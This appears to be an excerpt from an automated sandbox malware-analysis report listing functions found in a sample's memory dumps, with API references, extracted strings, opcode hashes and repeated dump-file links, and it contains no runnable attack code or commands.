Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 8OY_$=q;w$Hxgw
API String ID: 0-150089301
Opcode ID: b6a6cab45b5cf05e39a4c6e716d9d1a08d488956e4f6e95ded3c7c5b21f6f507
Instruction ID: 888d9ef1c0ba2c70a8550c0bf195d77174160b58b2f3616af3d187223de642c0
Opcode Fuzzy Hash: b6a6cab45b5cf05e39a4c6e716d9d1a08d488956e4f6e95ded3c7c5b21f6f507
Instruction Fuzzy Hash: D7B219F3A082049FE3046E2DDC8567ABBE9EFD4720F1A853DEAC4C7744EA3558058697

Function 006DDDC8 Relevance: 5.3, Strings: 3, Instructions: 1593COMMON

Download Yara Rule

Strings

3}, xrefs: 006DE05D
D37o, xrefs: 006DE8FB
*/], xrefs: 006DEBAF

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: D37o$*/]$3}
API String ID: 0-1712190203
Opcode ID: 61ad67cfb7f30939e0edf7d7096daa6f4e9803b9aac4ae86fb7074978bf4dcea
Instruction ID: b0c5ef9f5239ca9a0f5a0114855c8481d162e0ad21665cda16bd091e7f93f3b4
Opcode Fuzzy Hash: 61ad67cfb7f30939e0edf7d7096daa6f4e9803b9aac4ae86fb7074978bf4dcea
Instruction Fuzzy Hash: 51B217F360C2049FE3046E2DEC8567ABBE9EF94720F1A493DE6C4C7744EA3598058697

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 006E1B61 Relevance: 4.7, Strings: 3, Instructions: 911COMMON

Download Yara Rule

Strings

m;w_, xrefs: 006E22CF
VKw., xrefs: 006E250E
f+_, xrefs: 006E1E29

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: VKw.$f+_$m;w_
API String ID: 0-2836872193
Opcode ID: 2fa0499ae6656018a95da054e04abd5519a6cdb23ea670c7e0d39afb35f718f0
Instruction ID: d687838c67ed4592fe9decfe6fd6c374ccf46dfa6efb3b0bb274d58427e86baf
Opcode Fuzzy Hash: 2fa0499ae6656018a95da054e04abd5519a6cdb23ea670c7e0d39afb35f718f0
Instruction Fuzzy Hash: 3F5208F3A08214AFD304AE2DEC4566AFBE9EFD4720F16853DEAC4D3740EA3558058697

Function 00333720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0033E118,00000000,00000001,0033E108,00000000), ref: 00333758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003337B0

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 7c791aecea633b4bd28298838a6212e9ad64ce594b5b2ea8c8d1c95202c48bd0
Instruction ID: a6c6b377487e842f2882ca38eceeb9f06a4a991f9dffc9d548a041bbf83c88ea
Opcode Fuzzy Hash: 7c791aecea633b4bd28298838a6212e9ad64ce594b5b2ea8c8d1c95202c48bd0
Instruction Fuzzy Hash: 4941C774A40A289FDB24DB58CC95FDBB7B5BB48702F4081D8E609AB2D0D7B16E85CF50

Function 006E47F0 Relevance: 4.1, Strings: 2, Instructions: 1609COMMON

Download Yara Rule

Strings

g{y, xrefs: 006E4A5D
IW, xrefs: 006E4BEC

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: g{y$IW
API String ID: 0-2931211928
Opcode ID: 6d5037eda11c70b6695face4665270cbef7d72db97e44fb5a99814f66b5e8392
Instruction ID: 3251750b7a2e8d8eb43a5ff5d2221fe9665f4f9a3037faee6b933bf8ca533c1e
Opcode Fuzzy Hash: 6d5037eda11c70b6695face4665270cbef7d72db97e44fb5a99814f66b5e8392
Instruction Fuzzy Hash: F0B217F360C2049FE304AE2DEC8567AFBE9EF94720F16893DEAC487744E63558058697

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 005B4250 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

uv, xrefs: 005B4265

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: uv
API String ID: 0-2256989565
Opcode ID: 79d3c08667058652a6a97653e369b1695b9e8da7ac66900d4370fe6474ad4eb1
Instruction ID: 98d71ce1c93eee8f0dbdb3e893bc22247b39ae3cbdf1ad1fa36fb0b4116a4f9c
Opcode Fuzzy Hash: 79d3c08667058652a6a97653e369b1695b9e8da7ac66900d4370fe6474ad4eb1
Instruction Fuzzy Hash: A7416AF3E092146FE310592EED84B6ABBDAEBD4720F1B853DDA8487744E97518058292

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 006684AC Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1d11fe74012c36d7b3e7e51cf4ff529758f585dcc0939798a77e4861179833
Instruction ID: 3b43aca136e89dfab47ad28e00b05aae9f7cd7afa0a333db3aba69ad5b9bcff5
Opcode Fuzzy Hash: aa1d11fe74012c36d7b3e7e51cf4ff529758f585dcc0939798a77e4861179833
Instruction Fuzzy Hash: 1261F3F3E092145BF304AE29DC9573BFBDAEB90720F16453DDAC887780E93A5C058686

Function 007738D2 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea64236a012ddd0bfefcd3602e078e5714e806991f5f503e51f69f2a16b0a23a
